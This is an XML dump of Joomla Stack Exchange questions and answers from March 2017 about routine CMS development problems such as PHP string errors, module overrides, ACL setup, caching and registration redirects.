  <row Id="19407" PostTypeId="2" ParentId="19389" CreationDate="2017-03-22T08:28:27.893" Score="1" Body="&lt;p&gt;The error you got after your PHP version upgrade says it loud:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;the &lt;code&gt;[]&lt;/code&gt; operator not supported for strings.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You are probably trying to push an &lt;em&gt;array&lt;/em&gt; into a &lt;em&gt;string&lt;/em&gt; or something of that sort.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You would have gotten an &lt;em&gt;Array to string conversion&lt;/em&gt; error should the &lt;em&gt;string&lt;/em&gt; in question be empty (depending on your new PHP version and as well as defined error reporting level).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;[]&lt;/code&gt; operator not supported for strings error occurs when you are re-declaring a &lt;em&gt;string&lt;/em&gt; as an &lt;em&gt;array&lt;/em&gt; or attempting to use a &lt;em&gt;string&lt;/em&gt; as if it were an &lt;em&gt;array&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Take a look at the example below (resulting in the error you have):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$me   = 'foo'; // $me is a variable holding a string value ('foo')&#xA;$me[] = 'bar'; // here, $me is re-declared as an array; an attempt to update $me with $me[]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can you resolve this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You simply have to re-declare your string variable just as such (still as a string variable; not as an array) for use should need be.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Take a close look at this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$me = 'foo'; // with 'foo' as initial value when first declared&#xA;$me = 'bar'; // expected result on print_r($me) (successful, with no error): bar&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Above, &lt;code&gt;$me&lt;/code&gt; was re-assigned a new string ('bar') as value successfully and without any error.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, do not attempt something funny like trying to still pushing in (into your string variable, whether re-declared or not) an array or else you will get the same error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead, you may convert your &lt;em&gt;string&lt;/em&gt; into &lt;em&gt;array&lt;/em&gt; should you want to manipulate your values as such for the purpose you seek to achieve.&lt;/p&gt;&#xA;" OwnerUserId="9182" LastActivityDate="2017-03-22T08:28:27.893" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19408" PostTypeId="1" CreationDate="2017-03-22T09:32:35.123" Score="4" ViewCount="103" Body="&lt;p&gt;I am developing an application in which I want to perform some action on user block operation from Joomla User management screen.&lt;br&gt;&#xA;In custom MVC component we are doing with the use of file which is in tables folder.&lt;br&gt;&#xA;While joomla's com_users component is managing things with differently, so can anyone guide how I can do some db operation when we admin block any user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Actually i also need similar help for category disable functionality, like I want to do some db operation based on category enable or disabled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please guide me.&#xA;Thanks&lt;/p&gt;&#xA;" OwnerUserId="9327" LastEditorUserId="126" LastEditDate="2017-06-30T11:17:44.980" LastActivityDate="2017-11-16T11:46:40.077" Title="Custom action on User block operation in user management" Tags="|component|user|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19409" PostTypeId="1" AcceptedAnswerId="19412" CreationDate="2017-03-22T11:54:13.610" Score="2" ViewCount="2643" Body="&lt;p&gt;I want to show the published date inside a module, how can I do that?&#xA;I will make of course a module override and use the changes inside the default.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you&lt;/p&gt;&#xA;" OwnerUserId="2199" LastEditorUserId="9850" LastEditDate="2017-03-22T18:51:26.013" LastActivityDate="2019-11-29T15:54:32.150" Title="How can I show the Published date of the current article inside a module?" Tags="|joomla-3.x|module|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19410" PostTypeId="2" ParentId="14877" CreationDate="2017-03-22T12:08:31.080" Score="0" Body="&lt;p&gt;Go to the templates section of your administrator section. Make sure your on the styles section then click the template name on the right side of the template you are using. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The gktoolbar might be included with your tempalte. If you do not like it you can possible remove it from the template if you know how.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most templates I have seen have a custom css file or a override css file to allow for changes to the template, which you can add on this portion of the page within the css folder. If a file is not provided you can make one. Within the templates index.php you should find the code to either remove the toolbar ,this may cause errors, or you should be able to find a place if it is not there do add an override css file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my template I add the below for overrides later.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the templates css file.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$doc-&amp;gt;addStyleSheetVersion($this-&amp;gt;baseurl . '/templates/' . $this-&amp;gt;template . '/css/template.css');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This css file is for overrides later on or for later users to fix something they may not like that I have created.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$doc-&amp;gt;addStyleSheetVersion($this-&amp;gt;baseurl . '/templates/' . $this-&amp;gt;template . '/css/override.css');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="9850" LastActivityDate="2017-03-22T12:08:31.080" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19411" PostTypeId="2" ParentId="19409" CreationDate="2017-03-22T12:27:06.567" Score="0" Body="&lt;p&gt;The module has to support this - meaning that it has first to fetch and have available these data in its content items object/array through whatever method it uses to call the articles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Usually if it supports that, then it should have the relative options in its backend.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it doesn't support this, then either look for another module - there are plenty articles display modules available in JED - or develop your own.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;sub&gt;Note: maybe I have mis-understood your question though.&lt;/sub&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="126" LastActivityDate="2017-03-22T12:27:06.567" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19412" PostTypeId="2" ParentId="19409" CreationDate="2017-03-22T12:55:57.433" Score="3" Body="&lt;p&gt;The following should work for what it sounds like you are trying to achieve.  If you are on an article page, it displays the published date of that article or else shows nothing. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// FIRSTLY CHECK THAT THE PAGE THE MODULE APPEARS ON IS AN ARTICLE&#xA;$nameofcomponent = JRequest::getVar('option');&#xA;$viewofcomponent = JRequest::getVar('view');&#xA;&#xA;if ($nameofcomponent==&quot;com_content&quot; &amp;amp;&amp;amp; $viewofcomponent==&quot;article&quot; ) {&#xA;&#xA;    // IT IS AN ARTICLE, SO GET THE ID OF THE ARTICLE&#xA;    $idofarticle = JRequest::getInt('id');&#xA;&#xA;    // LOAD THE MODEL OF COM_CONTENT&#xA;    $model = JModelLegacy::getInstance('Article', 'ContentModel');&#xA;    // USE THE GETITEM FUNCTION OF THE MODEL TO RETURN THE DETAILS&#xA;    $article = $model-&amp;gt;getItem($idofarticle);&#xA;&#xA;&#xA;      // FORMAT AND PRINT THE DATE TO THE SCREEN&#xA;      $date = new JDate($article-&amp;gt;created);&#xA;      echo $date-&amp;gt;format('j M Y');&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If this is what you are trying to do, however, then it sounds like there may be a design issue - I can't imagine a usibility reason why you'd want to show this information in a module rather than the component area. &lt;/p&gt;&#xA;" OwnerUserId="1622" LastEditorUserId="1622" LastEditDate="2017-03-22T13:14:21.617" LastActivityDate="2017-03-22T13:14:21.617" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19413" PostTypeId="1" CreationDate="2017-03-22T19:41:44.260" Score="3" ViewCount="170" Body="&lt;p&gt;I have been asked to help maintain a custom component that has already been installed on a server, but had no ACL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I followed the sample tutorial in adding both XML files  (Access.xml and config.xml) into the component directory show it shows up in the ACL Manager.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if you enable it for a group, it doesn't appear in the menu for them to select.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would appreciate any suggestions on where to focus my attention. I do know how to use ACL, but where there was no install done for this component, i think something is missing. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;TIA&lt;/p&gt;&#xA;" OwnerUserId="9263" LastActivityDate="2021-07-13T02:28:03.697" Title="Custom Component with ACL not apearing in admin menu" Tags="|joomla-3.x|custom-component|acl|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19414" PostTypeId="2" ParentId="15605" CreationDate="2017-03-22T19:42:48.653" Score="0" Body="&lt;p&gt;After some research i found that adding the parameter &quot;limit=1000&quot; to the URL under the user admin let me delete them by bigger batches just like this: yoursite.com/administrator/index.php?option=com_users&amp;amp;view=u‌​sers&amp;amp;limit=100&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps someone else. &lt;/p&gt;&#xA;" OwnerUserId="7386" LastActivityDate="2017-03-22T19:42:48.653" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19415" PostTypeId="1" CreationDate="2017-03-22T23:20:37.757" Score="6" ViewCount="68" Body="&lt;p&gt;I have a package (Joomla! 3x) that contains 2 plugins and it install/update and uninstall correctly. But now, I need to refine the installation/update process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Scenario on &lt;strong&gt;fresh installation&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If Joomla version = X install plugin A and Plugin B&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If Joomla version = Y &lt;strong&gt;install plugin A only&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Scenario on &lt;strong&gt;update&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If Joomla version = X update plugin A and Plugin B&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If Joomla version = Y &lt;strong&gt;update plugin A and UNINSTALL Plugin B&lt;/strong&gt;, if installed&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Probably need a script file, but I don't know how to force the install/uninstall of a specific plugin inside the script file.&#xA;Appreciate some guidance.&lt;/p&gt;&#xA;" OwnerUserId="2087" LastActivityDate="2017-03-23T13:51:44.320" Title="Package installation with conditions" Tags="|joomla-3.x|development|installation|packaging|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19417" PostTypeId="1" CreationDate="2017-03-23T09:22:48.517" Score="1" ViewCount="93" Body="&lt;p&gt;I have purchased joomla sp upgrade plugin but i am not get any options to trasfer community builder data from joomla 1.5 to joomla latest version, can any one please provide us solution thanks.&lt;/p&gt;&#xA;" OwnerUserId="9859" LastEditorUserId="9859" LastEditDate="2017-03-23T10:22:08.820" LastActivityDate="2017-07-06T08:57:25.490" Title="How to migrate community builder data from joomla 1.5 to joomla latest version?" Tags="|migration|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19418" PostTypeId="1" AcceptedAnswerId="20825" CreationDate="2017-03-23T11:08:21.043" Score="3" ViewCount="437" Body="&lt;p&gt;I'm working on an extremely outdated shop template, trying to keep everything else up to date for a client.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The client has set up cloudflare to be used as SSL which is pretty much all sorted, however when trying to add a product to the cart in VM3.2.0 the Ajax popup does not appear.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the console the following error is logged&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Mixed Content: The page at 'https://www.website.com/shop/outerwear/pretty-tomboy-athletics-hoodie' was loaded over HTTPS, but requested an insecure XMLHttpRequest endpoint 'http://www.website.com/index.php?option=com_virtuemart&amp;amp;nosef=1&amp;amp;view=cart&amp;amp;task=addJS&amp;amp;format=json&amp;amp;lang=en'. This request has been blocked; the content must be served over HTTPS.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;An example of this can be seen on this (link removed)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone advise how I can resolve this issue? If I turn off the AJAX cart pop up, I get a blank page - so there is a PHP error. I'm looking at this also.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards&#xA;D&lt;/p&gt;&#xA;" OwnerUserId="7973" LastEditorUserId="7973" LastEditDate="2017-05-18T21:59:05.127" LastActivityDate="2021-04-15T20:47:10.860" Title="Virtuemart AJAX Cart pop up error over https" Tags="|joomla-3.x|virtuemart|https|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19419" PostTypeId="2" ParentId="17631" CreationDate="2017-03-23T11:26:28.027" Score="0" Body="&lt;p&gt;Have you tried validating your css using a tool such as the &lt;a href=&quot;https://jigsaw.w3.org/css-validator/&quot; rel=&quot;nofollow noreferrer&quot;&gt;W3C CSS Validator&lt;/a&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your comment &quot;It is only new additions to the file that are not showing.&quot; suggests that it may be some bad code - broken stylesheets will usually render up to the place they break.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, have you used the dev tools to see what's being applied to the element to make sure it's not just another style whose inheritance means it's styles are taking priority and overriding yours. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I agree with the other answer that inline styles are not a great idea.&lt;/p&gt;&#xA;" OwnerUserId="1622" LastActivityDate="2017-03-23T11:26:28.027" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19420" PostTypeId="1" AcceptedAnswerId="19445" CreationDate="2017-03-23T11:28:10.563" Score="3" ViewCount="195" Body="&lt;p&gt;I've made a module that needs to cache its output by country, or not at all. I've found &lt;a href=&quot;https://joomla.stackexchange.com/questions/9247/custom-component-no-cache-setting&quot;&gt;this post&lt;/a&gt; which describes how to do it with a component, but how would you do it with modules?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To turn off cache completely, I've copied the relevant fields from XML config from mod_custom, set cache to off, and global cache to conservative. Still it caches.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any tips welcome.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt;: It seems a module is &lt;em&gt;always&lt;/em&gt; cached when it's included within an article: &lt;a href=&quot;https://forum.joomla.org/viewtopic.php?t=527208&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://forum.joomla.org/viewtopic.php?t=527208&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7077" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.620" LastActivityDate="2017-03-27T21:00:11.093" Title="Custom cache for module" Tags="|module|cache|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19421" PostTypeId="1" CreationDate="2017-03-23T12:46:23.160" Score="2" ViewCount="50" Body="&lt;p&gt;How we can add confirm dialog before publishing or unpublish article in Joomla ?&#xA;I want to add confirmation box before publish or unpublish, I want same for custom component also, how i can achive this?&#xA;Please guide&lt;/p&gt;&#xA;" OwnerUserId="9327" LastActivityDate="2017-03-27T20:51:19.793" Title="Ask for confirmation before article publish" Tags="|com-content|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19422" PostTypeId="1" CreationDate="2017-03-23T12:50:37.840" Score="2" ViewCount="1281" Body="&lt;p&gt;I tried to look around, but didn't exactly found what I was looking for. Joomla have documentation about how to create custom form fields. That was useful, but what I need is (I guess simple..?).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to have custom form field for backend component. Just a simple input text field with two options - add/delete. When you press add I get additional text field, if I want to delete - it simply removes. I want to understand how to do this. Thank you!&lt;/p&gt;&#xA;" OwnerUserId="9764" LastEditorUserId="126" LastEditDate="2018-01-01T07:40:13.997" LastActivityDate="2019-11-21T22:31:07.120" Title="Custom 'dynamic' form field creation" Tags="|jform|custom-field|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19423" PostTypeId="1" CreationDate="2017-03-23T13:46:41.653" Score="2" ViewCount="260" Body="&lt;p&gt;I have added following code to my Joomla template index.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;noscript&amp;gt;&#xA;    &amp;lt;div&amp;gt;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;link rel=stylesheet href=&quot;/media/style.css&quot;/&amp;gt;&#xA;&amp;lt;/noscript&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But Joomla changed it into:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;noscript&amp;gt;&amp;amp;lt;div&amp;amp;gt;&amp;amp;lt;/div&amp;amp;gt;&amp;amp;lt;link rel=stylesheet href=&quot;/media/style.css&quot;/&amp;amp;gt;&amp;lt;/noscript&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which won't work because of missing angel brackets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Code is inside , but putting it into body didn't help. Also creating a module returned same result.&#xA;I know that div tag doesn't make any sense. It is only for testing and removing it doesn't help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know, how to prevent Joomla from messing my noscript tags?&#xA;Thanks in advance for any advices!&lt;/p&gt;&#xA;" OwnerUserId="9861" LastActivityDate="2017-03-23T16:19:48.390" Title="How to prevent Joomla from changing tags inside &lt;noscript&gt;" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="19424" PostTypeId="2" ParentId="19422" CreationDate="2017-03-23T13:50:08.897" Score="3" Body="&lt;p&gt;I am using the following to achieve something similar to what you need BUT in a plugin. Need to confirm if it is also valid to component.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;            &amp;lt;field&#xA;                name=&quot;list_field_name&quot;&#xA;                type=&quot;list&quot;&#xA;                class=&quot;inputbox&quot;&#xA;                label=&quot;LIST_FIELD_NAME_LABEL&quot;&#xA;                description=&quot;LIST_FIELD_NAME_DESC&quot;&#xA;                default=&quot;add&quot;&#xA;                size=&quot;1&quot;&amp;gt;&#xA;                &amp;lt;option value=&quot;add&quot;&amp;gt;add&amp;lt;/option&amp;gt;&#xA;                &amp;lt;option value=&quot;delete&quot;&amp;gt;delete&amp;lt;/option&amp;gt;&#xA;            &amp;lt;/field&amp;gt;&#xA;            &amp;lt;field&#xA;                name=&quot;text_field_name&quot;&#xA;                type=&quot;text&quot;&#xA;                class=&quot;inputbox&quot;&#xA;                showon=&quot;list_field_name:add&quot;&#xA;                label=&quot;TEXT_FIELD_NAME_LABEL&quot;&#xA;                description=&quot;TEXT_FIELD_NAME_DESC&quot;&#xA;                size=&quot;40&quot;&#xA;                filter=&quot;string&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The use of &lt;code&gt;showon&lt;/code&gt; let you conditionally show the field. Hope it helps.&lt;/p&gt;&#xA;" OwnerUserId="2087" LastActivityDate="2017-03-23T13:50:08.897" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19425" PostTypeId="2" ParentId="19415" CreationDate="2017-03-23T13:51:44.320" Score="2" Body="&lt;p&gt;I'm not sure what the plugins for for exactly, and seeing as you can't have 2 separate packages, I'd suggest still using 1 package, install both plugins, but add a conditional statement in your plugins files, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function onYourEvent()&#xA;{&#xA;    // If Joomla version is greater than 3.5&#xA;    if (version_compare(JVERSION, '3.5', '&amp;gt;'))&#xA;    {&#xA;        // run your plugin code&#xA;    }&#xA;    else&#xA;    {&#xA;        // else do nothing and just return&#xA;        return;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastActivityDate="2017-03-23T13:51:44.320" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19426" PostTypeId="2" ParentId="19423" CreationDate="2017-03-23T16:19:48.390" Score="1" Body="&lt;p&gt;Turns out it's bug in Chrome (&lt;a href=&quot;https://stackoverflow.com/questions/15800526/how-do-i-display-html-within-chromes-noscript-tag&quot;&gt;link&lt;/a&gt;). Haven't encountered it before and that's why my first thought was that it's connected with Joomla. Sorry for my mistake!&lt;/p&gt;&#xA;" OwnerUserId="9861" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2017-03-23T16:19:48.390" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19428" PostTypeId="2" ParentId="17276" CreationDate="2017-03-23T21:46:47.073" Score="1" Body="&lt;p&gt;Extending on FFrewin's idea, could you create dynamic module positions in your template that only appear when the appropriate conditions are met, and assign the modules accordingly? ie do it at template level rather than module level so that the third party modules can remain untouched.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another suggestion would be to create a third bespoke module that loads the other modules programatically, as opposed to assigning them via the module manager. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, the quick-and-nasty approach would be to just add a CSS file to your component's view that shows/hides the modules with CSS.  I don't believe hidden content is really a major SEO issue any more, it just makes the page a bit heavier.&lt;/p&gt;&#xA;" OwnerUserId="1622" LastActivityDate="2017-03-23T21:46:47.073" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19429" PostTypeId="1" CreationDate="2017-03-24T04:27:54.970" Score="4" ViewCount="2032" Body="&lt;p&gt;Client provide me the url of the joomla page. But I am not able to find it from the administrator. I check every article but I am not able to find it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anybody please help me with it where I can find it&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The url is something like this&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;example.com/index.php/resource-downloads&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have url but I am not able to find this page in administrator.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="9865" LastActivityDate="2017-03-24T20:55:01.017" Title="How to find the joomla page from url" Tags="|joomla-3.x|component|articles|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19430" PostTypeId="2" ParentId="19429" CreationDate="2017-03-24T06:46:20.590" Score="4" Body="&lt;p&gt;You can find any url/Alias by searching it in the &lt;strong&gt;search box&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First go to the Menu manager and enter &lt;strong&gt;resource-downloads&lt;/strong&gt; in the search box.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And if you didnt find it then you can go to the article manager and type the alias of the article in the search box.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Eg : search for &lt;strong&gt;resource-downloads&lt;/strong&gt; in the search box and you will find the article or menu item by this.&lt;/p&gt;&#xA;" OwnerUserId="3637" LastActivityDate="2017-03-24T06:46:20.590" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19431" PostTypeId="1" CreationDate="2017-03-24T08:58:59.577" Score="1" ViewCount="44" Body="&lt;p&gt;When users are registering on this page:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.greatbritishvoices.co.uk/create-an-account/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.greatbritishvoices.co.uk/create-an-account/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The account is being created in the backend of the site but the page just refreshes itself as if the account hasn't been created.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've checked all settings in the site. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Allow User Registration is set to YES&#xA;Allow User Registration is set to Registered&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="294" LastActivityDate="2017-03-24T11:00:45.540" Title="Users not being redirected on registration" Tags="|joomla-3.x|user|account|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19432" PostTypeId="2" ParentId="19377" CreationDate="2017-03-24T10:52:55.510" Score="1" Body="&lt;p&gt;I found a solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem was &quot;multiple&quot; repeatable element entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I changed:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;\plugins\system\zoo_zlelements\zoo_zlelements\elements\downloadpro\downloadpro.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;from:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function getSearchData() {&#xA;    $hits = $this-&amp;gt;get('hits', 0);&#xA;    return $hits;&#xA;    return implode(', ', array($this-&amp;gt;get('title'), $this-&amp;gt;get('value')));&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;protected function _getSearchData() {&#xA;    // clean html tags&#xA;    $value  = $this-&amp;gt;app-&amp;gt;object-&amp;gt;create('JFilterInput')-&amp;gt;clean($this-&amp;gt;get('title', ''));&#xA;    return (empty($value) ? null : $value);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5617" LastEditorUserId="12352" LastEditDate="2018-08-17T18:47:53.820" LastActivityDate="2018-08-17T18:47:53.820" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19433" PostTypeId="2" ParentId="19431" CreationDate="2017-03-24T11:00:45.540" Score="1" Body="&lt;p&gt;The controller that deals with redirecting the form upon registration is at /components/com_users/controllers/registration.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking at this code, it seems to redirect back to the form view if:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;There are validation errors.  The validation is checked using JForm's validate function.&lt;/li&gt;&#xA;&lt;li&gt;The user registration process fails.  This function exists at /components/com_users/models/registration.php and fails if it is unable to access the database to add the user or if it is unable to send an email.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;In all these cases, an error message should be sent to the screen.  To see these, your template needs the code &lt;code&gt;&amp;lt;jdoc:include type=&quot;message&quot; /&amp;gt;&lt;/code&gt;.  The users component also uses this to show a successful registration message to the user, so it is required for this component to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My guess would be that your server is failing to send emails (it sounds like it can access the database), and that you don't have a message area in your template to see the error message.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I'd also try it without the captcha,  and make sure a completely vanilla version also has the problem.&lt;/p&gt;&#xA;" OwnerUserId="1622" LastActivityDate="2017-03-24T11:00:45.540" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19435" PostTypeId="2" ParentId="19395" CreationDate="2017-03-24T12:43:45.563" Score="0" Body="&lt;p&gt;After looking further into it it seems i had miss named my controller classes for the legacy calls. Once I had fixed that it led me down a rabbit hole of renaming classes until it finally started working properly. &#xA;The below code was not set proerply.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$controller = JControllerLegacy::getInstance&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The hardest part of the MVC tutorial is that they use HelloWorld for everything and i must have gotten confused as to how it was working. In the next remake of my component i will use better classes that are more unique.&lt;/p&gt;&#xA;" OwnerUserId="9850" LastActivityDate="2017-03-24T12:43:45.563" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19436" PostTypeId="2" ParentId="19429" CreationDate="2017-03-24T20:55:01.017" Score="1" Body="&lt;p&gt;It looks like it's a single article menu item. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go to the Menu Manager look through each menu group for a menu item with &quot;resource-downloads&quot; as the alias (most likely the title of the menu item will be &quot;Resource Downloads&quot; but that's not a guarantee because the menu title and alias don't need to be similar).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/csGQa.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/csGQa.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you find the menu item enter/edit it and look at the &quot;Select Article&quot; field; that's the article being loaded. Click &quot;Edit&quot; and it'll bring you to the article that menu item displays.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/PXMr8.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/PXMr8.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9459" LastActivityDate="2017-03-24T20:55:01.017" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
